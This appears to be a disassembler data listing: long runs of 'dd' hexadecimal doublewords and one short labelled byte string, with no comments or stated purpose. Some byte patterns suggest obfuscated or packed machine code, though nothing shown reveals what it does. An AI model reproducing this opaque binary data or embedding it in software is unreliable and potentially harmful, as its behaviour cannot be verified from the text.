dd 0DF135883h, 21382F34h, 0BA41B3FEh, 7278CB29h, 5CD0E42Fh
dd 0B8DB1A2Eh, 21D2D2F9h, 0D82C3285h, 43FDE347h, 0E7CAED2Ch
dd 8F21D2D2h, 0EC975135h, 0B29B99E6h, 0B892F5FAh, 1B1217CFh
dd 0D2D0E104h, 53A621D2h, 4A33D14Dh, 0C44C7892h, 112D5067h
dd 872672B1h, 0C5E82F34h, 7829B2B1h, 0CC0BBA17h, 0B2B208A9h
dd 62C26E29h, 2DBEDCA0h, 0E6CC7E29h, 2A30272Ch, 33E9E624h
dd 0F71154h, 2B5B0000h, 7E8A8F49h, 917A5493h, 0D90D3D9h
dd 4929BAA1h, 2105DFF6h, 656B6267h, 9289B518h, 0FBEB9CEAh
dd 58D2DF02h, 59AC29BAh, 0C8AEA8AEh, 3C22F40Eh, 0FB257D82h
dd 5002253Ch, 0A62E5A5Ch, 2B584E53h, 0E49E84D6h, 5C729ECAh
dd 0A18B82D5h, 647B2610h, 79DE1941h, 171C6F26h, 637D3719h
dd 0DEF5AF91h, 61651D04h, 0EFD6FAB4h, 9FECF22Fh, 3A71103Ch
dd 4044FCE1h, 60661753h, 1128050Ch, 0BA9993EEh, 1E388B29h
dd 0FA112EF2h, 44FCE1BBh, 0B4B7FB3Eh, 55812E5Ah, 0F826071Ch
dd 0B5FC1F15h, 0C121DA3Ah, 9EBDC36Eh, 6648464Bh, 3A941D40h
dd 0C7BD21DAh, 3F886F8Ah, 2AD528FFh, 365C3E10h, 0DA6B9E13h
dd 0DA85D821h, 4100E9C3h, 0F1F7A25Ah, 0FCC54CA4h, 0DA6BD8D9h
dd 994B9E21h, 2F9FEB6h, 27014057h, 40838943h, 21DA6C45h
dd 0FDD7EE41h, 0F5575D17h, 6D874123h, 0F04FD173h, 80D0B6D9h
dd 2C062E5Ah, 8A888D45h, 0F0E7ECA6h, 0CD203F45h, 23E4CAC8h
dd 0DC947B3Ah, 8A352C31h, 1A542670h, 9A8136F7h, 21DA8113h
dd 45B8E423h, 0D25B0373h, 15D0E1DCh, 53A621DAh, 0B36D534Dh
dd 27E1C799h, 843E2422h, 71CE177Fh, 9D804127h, 37E9E0E5h
dd 9B929751h, 0CAF8D6F0h, 0A53D461h, 0E1934B30h, 443B40F8h
dd 1CBA3Eh, 0D1040000h, 0B6D9F04Fh, 2E5AA49Ch, 0DEB8CF22h
dd 0EA373DF5h, 324C06ECh, 3B30h, 422BC600h, 5747738Ah
dd 10650F7Eh, 9997E4EAh, 0B6E2F9B3h, 0D0F38B3Ch, 29BAA0E1h
dd 0E3464A9Dh, 9A173A7Ch, 0E429B9ADh, 7EE0E691h, 0CCE50847h
dd 0B229B9ADh, 0DC7AD5Fh, 0E90B1108h, 708A422Bh, 3382A590h
dd 5329BAA1h, 17FDFB00h, 0B3B87256h, 0E9E3B8BCh, 0FBAD884Dh
dd 7C5F3950h, 0C2C8BFC4h, 3C687F75h, 0C7370409h, 5DD2D883h
dd 9ABDA800h, 29BA541Bh, 0CEF1085Bh, 29BA53E3h, 5C2E489Bh
dd 55A2BC76h, 397EF8h, 98D70000h, 0BA543C75h, 0FFE84229h
dd 0A04B4247h, 452B789Ah, 1235748Bh, 29BAA09Fh, 317E84D7h
dd 0FB0EF4CEh, 44864F58h, 272CD719h, 4A302A30h, 0B99F7990h
dd 0FD03FAFFh, 2B04C29Bh, 86848943h, 0E3E1E6A0h, 45434800h
dd 0A4A2A761h, 50308C2h, 66646923h, 0C2C0C57Dh, 222025DDh
dd 6D7E833Bh, 81E78957h, 4C7h, 4EF8300h, 8B243C87h, 89512424h
dd 4C181E1h, 81000000h, 4E9h, 240C8700h, 241C895Ch, 81E28952h
dd 4C2h, 4EA8300h, 5C241487h, 56242C89h, 0C30676BEh, 37F68122h
dd 56252B9Ch, 8B545E5Bh, 0C481242Ch, 4, 1C8568h, 241C8900h
dd 0FF08458Fh, 815D2434h, 4C4h, 2434FF00h, 4C4835Bh, 0F7E28AE9h
dd 49837FFFh, 0E92FEFDFh, 9DDCB881h, 0C50307E8h, 443CE0FFh
dd 0DBB609FDh, 9B000A23h, 21187D93h, 4CCD6B4Fh, 59D94C3Fh
dd 0D29396Fh, 0C5D13A46h, 5E5277CFh, 0A54A3445h, 0A7701EFCh
dd 1099174Ch, 395D4E49h, 0B58538A6h, 0E84008B0h, 80795D82h
dd 0BDB96DE3h, 0EC2866B5h, 0B3024E2Ch, 5FA3A43h, 0AB4C1E45h
dd 960B55DFh, 90EA2478h, 86312FDBh, 32F670Ch, 0BDDB65A1h
dd 55BF4196h, 8B9D3D86h, 3F309CDh, 0C1F34375h, 10E87E66h
dd 52000000h, 0ACEC2F2Ch, 5F2D9410h, 0BD93F15h, 0E89345C1h
dd 11h, 0CBBA4332h, 0F827CD26h, 0B4BE1DA3h, 158895D7h
dd 8D0F32h, 5F000000h, 0F7BA665Eh, 0FE807h, 0BE60000h
dd 0FCC4FE94h, 0AD2BE909h, 2576E00Eh, 703FB936h, 805A71F4h
dd 8BF5B0E0h, 0E9CB8BD6h, 13h, 0F70187B9h, 0CA14398Ch
dd 0E17A7E30h, 1A1279DBh, 815FADE2h, 0DD9109E8h, 0F98B6607h
dd 0F9C8B70Fh, 0BBA3BF66h, 5E576060h, 0DE8h, 0D1C6C500h
dd 353DE431h, 0BC213E41h, 615E706Dh, 8E9h, 3A79F300h, 0B8D2514Bh
dd 62B261CDh, 0BCD28166h, 6E85Bh, 828E0000h, 0BB987C3Eh
dd 5EC9C580h, 9789C781h, 815179C5h, 86F538C2h, 0DA815F2Dh
dd 1BE3232Bh, 0AFCE8166h, 0B8F0F7Dh, 60000000h, 0FC9BF0Fh
dd 80h, 8B666100h, 33BBBAF7h, 81667866h, 0FADF7EFh, 0C88h
dd 7E900h, 4ECA0000h, 268152DEh, 3FBA66ABh, 0F78B662Dh
dd 0AE9F5h, 5B8D0000h, 0E277CE94h, 79CACFE8h, 14E8h, 0EF3E4700h
dd 346005D4h, 0FEFE6E16h, 7564730Eh, 0A1B72BCBh, 4FBB6645h
dd 9E858D9h, 7C000000h, 813EA10Eh, 0B3A8EE9Ah, 59616050h
dd 0FFE8A5Eh, 0BA66FEB7h, 14E96B61h, 32000000h, 0D0E92C54h
dd 42497C45h, 0AC39B4F8h, 0FFE26C2Fh, 66AD52B2h, 0B2BCE081h
dd 118B0Fh, 8E0F0000h, 0Bh, 6E9h, 0ABD5B100h, 80706B1Fh
dd 820FF3D8h, 15h, 10E9h, 6E9B8800h, 60D992E9h, 0D699EBB8h
dd 0E36FFA77h, 0DE9E3h, 0CE0C0000h, 292A317Fh, 0EBDEF90Ch
dd 802C5C17h, 0CE869D0h, 27000000h, 0F8B42962h, 0D3B952A6h
dd 0F005D62h, 148Ch, 0FE900h, 0ACBB0000h, 0DC187931h, 213033C9h
dd 7B00CFFEh, 0B70F5E95h, 0BAF081DFh, 0F7652CDh, 0F48ACABFh
dd 0F08B6656h, 0F081665Ah, 61B05141h, 60DF8166h, 0B30CBE3Bh
dd 0D6BE11FAh, 0F33F267h, 0EA81D0BFh, 11286081h, 4BBAC78Bh
dd 81687655h, 0D84893DEh, 11E86Ch, 0BD510000h, 50FAFE52h
dd 9B27B65Dh, 693FE52Fh, 0F435427h, 665EF9B7h, 8A480ABFh
dd 9E860C2h, 11000000h, 64C8FDBCh, 230FE68h, 5EFABF0Fh
dd 5E9h, 6FF06E00h, 0F6196B9h, 583h, 0A676BF00h, 10E91B6Fh
dd 0EC000000h, 0B6814288h, 0F483733h, 91155164h, 660E141Dh
dd 0E9613EBEh, 11h, 939FCC64h, 0BAB06490h, 80A58E3Ah, 0E998EA40h
dd 26B86614h, 0F5FD8A5Fh, 0CE9h, 3C3B2100h, 5FB17B1Ch
dd 0EAC6ECC9h, 3748BE2Eh, 0DE8151Ah, 0F4000000h, 0E715F750h
dd 61A8BC46h, 0A481E06Fh, 5A24E180h, 87C28166h, 10E83Bh
dd 0C4030000h, 4F987063h, 1FC84E4Ch, 0EDF0BCAEh, 8B5A920Dh
dd 0FAB70FD0h, 0AE860h, 76A90000h, 2C17FB6Ch, 37D00BC2h
dd 0E95EC68Bh, 11h, 45F8299Eh, 8E393614h, 0AB0E26EAh, 0DD8611FEh
dd 0D98B612Dh, 14E9h, 0EBE43700h
dd 1ADC3315h, 0DCA5D28Ch, 7E4E2AC4h, 4822E508h, 0FCEA8A30h
dd 840Fh, 0CAB40000h, 8E8h, 0DC363100h, 544A9ECFh, 561BF24h
dd 0F5A0924h, 0E956CEB7h, 0Fh, 0CCFECC15h, 0E4047199h
dd 0A606A6h, 5E2D85A8h, 11E9h, 1D3B7000h, 0C0475186h, 46A6A4FDh
dd 6AD5164Dh, 0D18B700Ch, 0D22DEB81h, 0B70F4CD5h, 0D181DAh
dd 0E804D94Dh, 5, 0FAB89965h, 0CE95F4Ah, 38000000h, 7EF733F6h
dd 0BDABE3F7h, 666A9D34h, 0E780FE8Bh, 89BE6607h, 81665756h
dd 584D4BD9h, 0DE900B4h, 4C000000h, 0F5AACCA1h, 87BF8502h
dd 0FD6642F7h, 54EBC6B9h, 0D9816635h, 8B668E2Fh, 0FABF0FD6h
dd 3BEE8156h, 5A263536h, 3890Fh, 0BF0F0000h, 0CE9C3h, 0B1590000h
dd 0FBBE7A2Dh, 3BEC2CA9h, 6BB42D59h, 0DEBF0FFCh, 404CEA81h
dd 810F5D01h, 3, 80C2BF0Fh, 0BE663DCEh, 0C9B22893h, 6E9h
dd 0CF8CAD00h, 81BC494Eh, 1E475AE2h, 860F505Fh, 2, 8B595F51h
dd 41EE81F2h, 0E835AC2Ah, 0Dh, 5E54543Ah, 0EC4D144Ah, 0E7C998CAh
dd 0B5B966CAh, 5E95BA6h, 0DE000000h, 3E1EF9CCh, 0B70F28B3h
dd 0FE8F3h, 6FA80000h, 80E8CDA1h, 0D479C5ADh, 0A0AC1CBFh
dd 10E97Ch, 0F3010000h, 17A159B7h, 520D2D82h, 0A38119AEh
dd 665BBAB4h, 66C31EBEh, 800FF28Bh, 0Ch, 68A0Fh, 8F0F0000h
dd 0
dd 889AB2BBh, 0B8C0F53h, 0F000000h, 58Fh, 0A9DABE00h, 8B662D78h
dd 10E8FAh, 5FEE0000h, 8691FCECh, 4A9CDC5Dh, 3E442A1Ah
dd 66600A4Eh, 612D3EB9h, 56FA8B59h, 9FF754B9h, 8B665853h
dd 5BD081FEh, 0B9346DE8h, 4C86EE95h, 3BE88166h, 0DB80F515h
dd 0E1B0F59Bh, 0F996D480h, 0D0F181F8h, 8026D8BEh, 0E88AAAD7h
dd 0BCD3F381h, 81F8086Bh, 8A1042CFh, 12E87Ch, 0B9B10000h
dd 0FC75F730h, 2E55EDC8h, 6E88082Bh, 49BD9E78h, 6850Fh
dd 0C6810000h, 4866129Ch, 0F2BF0F5Eh, 0FCFB70Fh, 282h
dd 0B6C18B00h, 0B4DE8B86h, 6840F25h, 60000000h, 0FA8AF38Bh
dd 0FA8B6661h, 0E9D38B66h, 7, 459CCD2Dh, 52A03940h, 5FF7C180h
dd 89EE8166h, 12E8608Fh, 52000000h, 9946EA2Eh, 1B17005Bh
dd 2430F0C9h, 92D4B6F8h, 5B6160D6h, 61F98B66h, 0FBE5F52h
dd 0F5E814Ah, 484h, 5DBA6600h, 8E99Dh, 0C68F0000h, 8642D75Bh
dd 0B70F3448h, 48F0FC6h, 66000000h, 53AAC2BBh, 0BE959h
dd 82620000h, 0E6E05ECAh, 98AAD1D1h, 0ADC1BBA9h, 0B70F20B6h
dd 0E8B460FBh, 0AF48061h, 0B08DDEBEh, 0FBB70F0Dh, 52C0B70Fh
dd 0D82375BAh, 0B9665819h, 850F4047h, 8, 2810Fh, 5B500000h
dd 12E9h, 888EE700h, 2D36D024h, 8B1C2C79h, 0D0CB9C6Bh
dd 0B6B54477h, 0D88BFCC7h, 8100C480h, 6F924CD0h, 6860F65h
dd 0F000000h, 8Fh, 0EECA8100h, 0B33D04E5h, 42C98109h, 0F6E60C6h
dd 178Ah, 12E900h, 53D60000h, 0AFF509C0h, 9A2D518Ch, 0CCBF0402h
dd 1B6D09E8h, 13E9h, 0E9CADF00h, 0A22A3056h, 4F3A05F6h
dd 734561DEh, 99303BE5h, 5FCB866h, 85EB8166h, 0A7BA6608h
dd 14E957h, 93BC0000h, 9B6E3DFFh, 0DBA4A084h, 5EBB412h
dd 3929B19Dh, 50B5674Fh, 0EE9h, 0D3249900h, 0E105B73Fh
dd 0B099EECh, 0E9940911h, 12h, 74FF946Ah, 9A7C204Eh, 0F737F8DBh
dd 6B01B372h, 27B654E2h, 0DF5FF381h, 6E856F6h, 0EC000000h
dd 0B11F510Eh, 0FE9563Bh, 87000000h, 6249DC98h, 5EDF72ABh
dd 0F2CF00E3h, 5F5AEC2Ah, 6E9h, 47BEAE00h, 0F62A8E7h, 389h
dd 0FAB70F00h, 2810Fh, 59500000h, 0BB666060h, 0CABB8991h
dd 61739E78h, 0B890F61h, 0E9000000h, 6, 0BF9B9739h, 0BF0F9B5Dh
dd 6860FD7h, 81000000h, 1740C2D8h, 0C3B86621h, 0F3BBF54Ch
dd 814AD9CFh, 5CC37BF0h, 0F88B6621h, 8166F860h, 61269AD2h
dd 6060DE8Ah, 7497BE66h, 61D7BF0Fh, 61CEBF0Fh, 6BD4B866h
dd 35F3BB66h, 0E8C28B66h, 0Ah, 95D43F3Ah, 0F09F7377h, 0E9535CB6h
dd 11h, 493202B0h, 0D81DAD68h, 3BACE58Ah, 2B9FD419h, 665859CBh
dd 0F8F374BEh, 0F5D68B66h, 0DEEFE181h, 66606C45h, 0E93EF5B8h
dd 5, 879C075Ch, 8166610Ah, 529B57DBh, 0EE8h, 739D3F00h
dd 6F7F8CBDh, 2EFAD41Eh, 8BA4D002h, 665E5EF1h, 8101BCB8h
dd 0D353CD9h, 0AE9605Fh, 0F7000000h, 11BD3660h, 3054664Bh
dd 860F98h, 61000000h, 0DAC68166h, 7CE78110h, 0F40D39Bh
dd 683h, 41DE8100h, 0F68D9BCh, 0C8Dh, 8C0F6000h, 0
aFAS db 'f¿Ú´a`é',0Dh,0
db 2 dup(0), 0A8h
dd 1924AFDDh, 0A86539EFh, 3C4B1770h, 0F561DE8Bh, 0DA8B6660h
dd 0DA77DBBBh, 0CA8B6164h, 10E9h, 33712E00h, 0FC4DFF8h
dd 0C35979A0h, 0B1D3F618h, 28F0F07h, 0B7000000h, 8166605Bh
dd 520D2BC9h, 8A0Fh, 615A0000h, 0FE9h, 5E545400h, 0EC4D144Ah
dd 0E7C998CAh, 565C01CAh, 6E8h, 924AA400h, 0FD8053Ch, 0B859C9B7h
dd 645A5920h, 22DB81F9h, 8129FF70h, 285880D6h, 0CE919h
dd 0EC80000h, 63DE4155h, 448C5452h, 78BBE728h, 526DBD34h
dd 5840Fh, 8CB90000h, 5F190DE3h, 0F669E8B9h, 0B83ABA16h
dd 850F5793h, 4, 3F27BA66h, 19C8B966h, 0B5D0B70Fh, 8800F3Eh
dd 0F000000h, 28Ch, 53595300h, 5BC0BF0Fh, 5E9h, 7D0C6D00h
dd 1BBD9C6h, 0B257DF49h, 0EA81668Eh, 0CF8B5881h, 0CA8EF181h
dd 0EE94F31h, 0C000000h, 1DDB45B9h, 0FA1FB4E6h, 0AD456347h
dd 816660F8h, 80EF0FDAh, 806109F6h, 816690DAh, 607DD2C0h
dd 6661F0B6h, 568DB8BEh, 81665AF8h, 66F74BC8h, 8057C18Bh
dd 665BBBD3h, 0AE06C781h, 0FDF08166h, 0E6DF813Fh, 662D265Fh
dd 0F392DBAh, 0B653F6BFh, 8B665EB4h, 0DEBF0FD3h, 2870Fh
dd 0DA8B0000h, 8AF08B66h, 0C38B66ECh, 0C64BE781h, 0BB502C77h
dd 68C0F1CDh, 6660575Fh, 0E802FFB9h, 11h, 2C77480Fh, 0ED3198A2h
dd 33BE0284h, 3FDE65BFh, 5E615AE8h, 0A8B0FF9h, 0F000000h
dd 48Bh, 7FB96600h, 6870FD8h, 81000000h, 922A11F1h, 7E945h
dd 0A0EE0000h, 0D5AED6EEh, 0E8C38A32h, 9, 812D4E2Bh, 922A806Fh
dd 5E9DCh, 9790000h, 5F88C04Ch, 66D38B66h, 608144BEh, 28A0Fh
dd 0EB8A0000h, 816661FCh, 51537EE1h, 0F8B382BEh, 0E853591Bh
dd 0Dh, 41517807h, 7E70D902h, 760A78BAh, 5B61600Fh, 0B5B2FC5Eh
dd 4800Fh, 8B570000h, 0D78B5ADAh, 81C6B70Fh, 0F52AD8CBh
dd 0E9F08B37h, 0Dh, 0D2DADCF3h, 6CA49333h, 0EAB76E01h
dd 55B5F925h, 2AC78166h, 6E85Bh, 2DBB0000h, 14FDF02Ch
dd 0E9F78B60h, 9, 1E78EE2Ah, 0BBC734EFh, 8B5A619Bh, 0B6D280F1h
dd 66C1B70Fh, 6677ACB9h, 0F516D3B9h, 0E681DAB5h, 76E42B71h
dd 10830Fh, 0BE90000h, 70000000h, 6FF1D0F5h, 8F663470h
dd 0D3808D63h, 0D2CB8097h, 66D88B66h, 0F9A766B8h, 5A535360h
dd 26BE615Fh, 6630F9B9h, 81D0BDBEh, 0F8D47FEBh, 0EE920h
dd 0D6C20000h, 9EEFA82Ah, 3F8876Ah, 76DAC823h, 6870Fh
dd 0CF810000h, 749357F6h, 13830F60h, 0E8000000h, 0Dh, 4F9F98A0h
dd 9EAED16Dh, 0E361D49Bh, 51615F6Dh, 13E960h, 77B90000h
dd 0EAA558E7h, 0E55E098Bh, 0EA86C438h, 0F9EC0A6Eh, 616160FEh
dd 0B253605Eh, 81665E49h, 6118DFCEh, 0C981DEB0h, 8C4F9C6h
dd 0E9F28B66h, 5, 6F0DF8A1h, 66FA8B7Ch, 8B6E18BAh, 8BC18ADAh
dd 0ECD80D9h, 0E8CFBF0Fh, 5, 3509004Dh, 0D7BF0FF5h, 0F60605Ah
dd 81h, 6161F500h, 0BB6618B6h, 7E888ECh, 6A000000h, 71941453h
dd 0CF8B70B9h, 46B5605Bh, 816164B5h, 7DCE42C0h, 0B70F566Ah
dd 0F575FF0h, 0E95FDEBFh, 12h, 0CFC3368Eh, 650019FFh, 196865F9h
dd 0A3EE8EBh, 0BF0F915Ch, 11E960C3h, 0BF000000h, 37CE5484h
dd 41430F7Dh, 0EF7BC23Ch, 0AF010F0Bh, 0B8088CBAh, 0B70F610Ah
dd 0D8C0FDEh, 0E9000000h, 8, 626023DBh, 0C065E11Ch, 60C2B70Fh
dd 28C0Fh, 61600000h, 5649B966h, 0C8D0F61h, 0F000000h
dd 685h, 800F00h, 50000000h, 513FBBh, 7FB85815h, 8124547Eh
dd 1B6FD4D6h, 0CB8B666Bh, 8A0F5B50h, 5, 0CAEE8166h, 0D08051EEh
dd 13E959BFh, 0D5000000h, 478CA502h, 2FAE5055h, 0D73EFF7Eh
dd 0D3ED066Fh, 0EE81EA56h, 7CC88A3Ah, 81DF8B66h, 0A499D1EFh
dd 13E84Bh, 77420000h, 143C73C6h, 0D799CAEFh, 68F8D660h
dd 92ADE732h, 0CE815h, 18B80000h, 0BD797CD5h, 9C1CCFCAh
dd 6E9B18Ah, 8E000000h, 3604A62h, 0F5F598Bh, 5E9D1BFh
dd 83000000h, 0AFB4B618h, 7C78BB66h, 0E8B966F9h, 0F12B4E1h
dd 281h, 0FC28B00h, 180h, 0BF0FFC00h, 8CE380FFh, 665DE080h
dd 0D380CB8Bh, 0D8BB661Bh, 0FD9B27Ah, 66F5C8BFh, 820FD88Bh
dd 5, 72B911BFh, 66F9F950h, 0E98F66BEh, 9, 0F2E02A5Eh
dd 6AA08A25h, 56BE6629h, 0EF781D7h, 662BDB74h, 0E711EA81h
dd 6656F88Bh, 0E95EC78Bh, 14h, 0C8E72702h, 0EC866EEEh
dd 5B1ECCB5h, 0F5EA27CFh, 73F1EC42h, 8063D980h, 0FF817D1h
dd 381h, 0FA8B6600h, 7D68166h, 0B70F50F3h, 0C28059CAh
dd 0B25E567Ch, 0FBBF665Eh, 6E8DFh, 0FFA10000h, 4984E23Bh
dd 5FC68B66h, 1545CBFh, 8B66532Eh, 66605FCEh, 602D76BEh
dd 6E8D98Ah, 3B000000h, 7B1918ECh, 61615E9Ch, 8E860h, 0A9D40000h
dd 0B357B0D7h, 26BA2F54h, 5B267928h, 0B5C4B966h, 8A0F61h
dd 81000000h, 0F7DFFDD7h, 0AE90Fh, 90760000h, 0A75A28A1h
dd 88602FCh, 9205E5BFh, 0F08B661Ah, 81FB8B66h, 39C9F9E3h
dd 0EE941h, 0F93E0000h, 79289608h, 5AB87991h, 7FAD8297h
dd 7E8F38Bh, 0E4000000h, 0F8B25D74h, 0F28B2F84h, 0BAC7805Fh
dd 0E4D3DA81h, 81667FD3h, 0F74D9E1h, 386h, 0D18B6600h
dd 0C63E681h, 0C28143F3h, 7F975F89h, 459360B9h, 0A7CF8177h
dd 604B321Ah, 39BE6660h, 0F56061A2h, 66506161h, 7E73D181h
dd 9EB86658h, 87D0B98Dh, 0AE876AAh, 8000000h, 0BA764FC2h
dd 0CD444F80h, 0FE8B664Dh, 0F2BF0F58h, 0FE9h, 14E7700h
dd 0F745EDF8h, 2994AC70h, 5BED1E46h, 3AEC8060h, 0CE861h
dd 0D6790000h, 2DBC6117h, 24612F97h, 5EFC92DBh, 89CC80FCh
dd 0DE1EBA66h, 0E98166F9h, 0C3812812h, 752A75Bh, 0FCE8B66h
dd 386h, 0F2B70F00h, 0F9DABF0Fh, 0EE8h, 0D0127F00h, 283044D4h
dd 0EF2559C3h, 596E5095h, 0FE9h, 9EF21B00h, 58C49AB7h
dd 0D3088C58h, 0F6DFDAC3h, 0BE9h, 615BA800h, 0BBF2A698h
dd 400D5BC4h, 5E8h, 3C0BCE00h, 0B70FF7CCh, 0E8605BD6h
dd 10h, 0DAEDEF2h, 0FD374E55h, 22AC3641h, 0B1337849h, 0B13EB866h
dd 830F525Ah, 0
dd 810F615Eh, 6, 7B59F781h, 0CB815840h, 68C21EDDh, 66F78B66h
dd 8166C38Bh, 0BA6FCAD2h, 7DC9777Fh, 13E861B2h, 82000000h
dd 0EB187EDEh, 0B9696939h, 0CE9B2838h, 107EA68Ch, 0D080BCB6h
dd 0E9565E11h, 5, 90E3458h, 0B8665F1Bh, 0FC51E8CFh, 0FAB70F58h
dd 0DC74C681h, 6E92AC1h, 0CC000000h, 62FAA03Ah, 0DE8B66BEh
dd 0E7816660h, 61FC3B57h, 81666051h, 6629D9E1h, 6175CEB8h
dd 0CF816659h, 8B66F1B5h, 8044B6CAh, 8F0F7DC2h, 5, 4AB234BAh
dd 850F531Eh, 13h, 0DE8h, 2926800h, 0FBE5334Ch, 8858548Eh
dd 585FD65Eh, 0EE8h, 22874400h, 0EF47EA2h, 2B4F4DC9h, 0F504BDBh
dd 1680h, 10E800h, 0F37E0000h, 0C7F7F2AAh, 1EF0B7C4h, 0DE112697h
dd 5A5FDF33h, 5E69D5BBh, 38A0F5Ah, 66000000h, 0B966F78Bh
dd 0DE9CD42h, 0C1000000h, 576DCDE4h, 7DC1D3C6h, 6FD55D29h
dd 0A2AFB966h, 0DE8FCh, 0C22B0000h, 6F9EDAE0h, 5069DE47h
dd 81119A92h, 0B8F5CCD2h, 0E8F55A3Fh, 8, 0D5B97C95h, 0FF861363h
dd 3DE48058h, 0E1D38166h, 0D2BF0F45h, 12870F60h, 0E9000000h
dd 0Dh, 0A68A7B7Fh, 8C24F49Ch, 4EB7E234h, 61605241h, 9E9615Eh
dd 2000000h, 65BF33BEh, 2E83FDEh, 5AF08B57h, 8E9h, 0ECE5CA00h
dd 51870922h, 13E9D6h, 8EFE0000h, 80D0BEA1h, 0A4EBB585h
dd 2CE98044h, 1F2E012Ch, 0B7BA66B4h, 1D8C0FE1h, 0F000000h
dd 178Fh, 12E900h, 27E90000h, 2FCA9DD4h, 0E1800C9Ah, 0D2C97D21h
dd 0DB460C40h, 9E9h, 4F86E300h, 0A2E91E6Ah, 8B66E333h
dd 0E8F78BD6h, 11h, 5DE26A0Bh, 6EB1C880h, 7E800327h, 9443B44Ah
dd 10E996h, 0F0840000h, 0C66232A5h, 0E4DC4570h, 0F0166E3Eh
dd 0E95F52A7h, 11h, 8EBD55D2h, 0F08318A6h, 0EED8B1AAh
dd 0EAE3A87Eh, 0F6B70F39h, 66CB8B66h, 0BA60CB8Bh, 4B873E5h
dd 0BA4192BEh, 84BF613Fh, 8B5C9760h, 13E9D7h, 49F60000h
dd 0D238F3F4h, 2262F659h, 1D979B6Fh, 344BAFCAh, 0DE9D3h
dd 0CF460000h, 0CEBCACD8h, 0B1141E2Fh, 815EE902h, 831B01D2h
dd 0CF8B602Ah, 5E8h, 0A0A5400h, 0FE8BC360h, 8060615Ah
dd 5E992E2h, 4A000000h, 4C91E2D6h, 2BBF5061h, 5A1DFAFBh
dd 0FF9BF0Fh, 0EF81D2B7h, 79456DC1h, 0EF58D781h, 12E81E72h
dd 0C5000000h, 61AFC009h, 84FA0AA4h, 5927D4A1h, 83A3B6F1h
dd 890F5B0Dh, 14h, 0CE8h, 6AAD0F00h, 10238B74h, 0E3146025h
dd 58616036h, 0F32CB866h, 5FCB8A53h, 749FF681h, 0FE8B3D6Ah
dd 3E8DE781h, 830F2DA1h, 3, 66DEB70Fh, 0F8856EBEh, 12E8h
dd 555A4600h, 805A23F5h, 0DAA6F02Fh, 0EAD92CE4h, 0F27F937h
dd 38Bh, 10DB8000h, 0E1BE665Bh, 0D28166A8h, 6660D5E2h
dd 66CB5BBFh, 0F8BED181h, 9E961h, 0C8450000h, 35F56F5Ch
dd 8A25D009h, 0F8D18BEAh, 9E8h, 1955600h, 566A37F5h, 8B66CC73h
dd 81665ECBh, 8B6021D8h, 3840FC6h, 66000000h, 0FE8BC88Bh
dd 6E9h, 0EDB29000h, 80051AC7h, 0BEFC13F6h, 7DF3AA23h
dd 0AE9D68Bh, 58000000h, 96C05AE3h, 50DE9CB0h, 0B54EBEB1h
dd 8E0F1753h, 5, 27C68166h, 0E081667Eh, 8B66A5C3h, 0C7BF0FD6h
dd 71CE8166h, 6678B278h, 0C743EB81h, 0DE9h, 0D1BD7600h
dd 0A51C861Eh, 0F72625A6h, 11BFE91Bh, 662CEFE5h, 0BF0A52BFh
dd 55FC4E06h, 0EE8h, 0DABE4B00h, 5E86400Ch, 5400A244h
dd 5812D6BAh, 9E9h, 45EF5500h, 0BD6BCAF1h, 8D0FB474h, 5
dd 0ED8D34B9h, 0E9F08B51h, 0Dh, 5866F78Bh, 0B9E9375Ah
dd 7BF01AB8h, 66C38B25h, 601A9FBEh, 0FD08B66h, 28Fh, 61D78B00h
dd 11E9h, 14FDF000h, 24FEF42Eh, 0C39AD4FEh, 0EE29ACD3h
dd 0DE832FDh, 7A000000h, 21AD642Bh, 84456851h, 8795A41Ah
dd 5EACE280h, 13E9h, 0CE886800h, 0FBB9BA3h, 45665A31h
dd 0E01170B2h, 10998D13h, 830Fh, 4DBA0000h, 0E94C55F1h
dd 14h, 439751B6h, 0B3A32609h, 870BE740h, 539E3633h, 0E816AC8h
dd 80D78B66h, 8060DCF5h, 0BF668FC8h, 6061C64Eh, 8E0F60h
dd 0F000000h, 8Fh, 30BA6100h, 616E8316h, 8E0FF9h, 8B000000h
dd 13E8C1h, 0D4880000h, 0DD96673Ch, 62AE2D7Dh, 0B8B7FC2Ah
dd 84916AF8h, 6E78BAB6h, 0E95954DBh, 12h, 267F0D88h, 35F915C9h
dd 1384DC65h, 886214D1h, 0F51B5E8h, 289h, 5A6BB000h, 7F0986B9h
dd 0FD78B5Eh, 198Fh, 14E900h, 0AAA80000h, 0A81148D9h, 0C73BC27Ch
dd 31E0BF48h, 7013F5C5h, 8C0F7A68h, 3, 8BFEC880h, 10E9F8DFh
dd 4B000000h, 0A01B9070h, 0B3EB1A15h, 0CEF88C28h, 0B5FFF853h
dd 0C38B6618h, 0FC7BF0Fh, 8B66CEBFh, 0D9D680FEh, 86A5FEB8h
dd 0CE8F80Bh, 94000000h, 0E14A8DAAh, 0FB3F67CBh, 0E952E578h
dd 0Fh, 71046CF9h, 0C7D70689h, 0F2D38964h, 5E426D66h, 13E8h
dd 921CC500h, 409E25CEh, 0F3D9D7D8h, 5575968Fh, 0CF825986h
dd 0CE816652h, 5E5FE0BCh, 0EE9h, 90AA1900h, 0CBCCF0F5h
dd 0C33025A0h, 6618F061h, 0F9B728BEh, 6E8h, 0CB2C0E00h
dd 0E9F951C0h, 11h, 0EA74CD6h, 6BADF61Ah, 7758F96Eh, 0F56DEBBCh
dd 62B35E2Bh, 0E870Fh, 6E80000h, 6A000000h, 4515AD50h
dd 5AFA8B6Fh, 0FD08B66h, 287h, 0FFA8B00h, 178Ch, 12E900h
dd 7FBF0000h, 0CB1F4BF8h, 318F2495h, 301D95DAh, 6D24036Bh
dd 3800Fh, 8B660000h, 13E8F9CBh, 0E1000000h, 0D518B8D7h
dd 0CABD797Ch, 8A9C1CCFh, 0DD22B8B1h, 56601591h, 61616058h
dd 0DFBF0F5Ah, 8840Fh, 8D0F0000h, 2, 12E96160h, 61000000h
dd 0CC6B65Ah, 378A720Ch, 93EB3A99h, 0DDD2343Ch, 8E801h
dd 0DE8A0000h, 7E18BB76h, 0E881C892h, 36E292DFh, 25E8815Bh
dd 8127460Bh, 0C988A3CFh, 11850F61h, 0E9000000h, 0Ch, 934341A0h
dd 0D7ADAAB4h, 902C4DD4h, 14E9h, 3F7E6F00h, 300156C8h
dd 6B78D1AFh, 0BB66A88Bh, 7B23A428h, 0EBBA66AEh, 38F0F43h
dd 0F000000h, 0F51C1BFh, 1483h, 0EE800h, 43070000h, 0AAA102B9h
dd 0D4E81108h, 4B693B5Ch, 0C3815B58h, 22731EA3h, 18E0Fh
